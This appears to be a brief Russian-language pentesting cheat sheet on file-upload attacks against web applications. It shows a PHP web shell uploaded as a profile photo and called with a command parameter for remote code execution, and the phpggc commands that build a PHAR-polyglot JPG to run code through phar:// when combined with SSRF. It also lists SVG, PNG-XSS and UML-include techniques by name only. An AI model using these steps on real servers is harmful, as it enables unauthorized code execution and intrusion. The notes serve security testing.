Веб-приложение может проверять файл только по Content-Type
Веб-приложение позволяет изменить фото в профиле пользователя, но при этом не проверяет должным образом обновленные изображения, в результате чего вместо загрузки фото можно загрузить php-файл и удаленно исполнить команду на сервере.
В ответ:
HTTP/1.1 200 OK
{"path": "/some/path/crooped.php", "error": 0}
Следующий запрос:
GET /some/path/crooped.php?blabla=dir+C:\
Получаем RCE :)
Upload PHAR -> RCE
PHAR - это сериализованный или упакованный PHP код?
Проблема с php rce — надо чтобы скрипт заканчивался на .php
Однако, если у нас есть возможность заставить сервак обратиться по схеме phar:// к локальному файлу, который мы контролируем, то это может привести к исполнению кода
Пример: загружаем exploit.jpg, как аватар, который является PHAR-файлом
git clone https://github.com/ambionics/phpggc
$ cd ./phpggc
$ wget https://upload.wikimedia.org/wikipedia/en/a/a9/Example.jpg
$ ./phpggc -pj Example.jpg ZendFramework/RCE3 system 'ls -lah' > exploit.jpg
Теперь, если есть SSRF, например, то6 при обращении к phar:///var/www/example.com/data/upload/image/exploit.jpg исполнится наш код.
SVG -> SSRF
XSS Payload -> Image (PNG)
UML -> SSRF
UML диаграммы могут поддерживать инклуд других файлов, в том числе с удаленных сервисов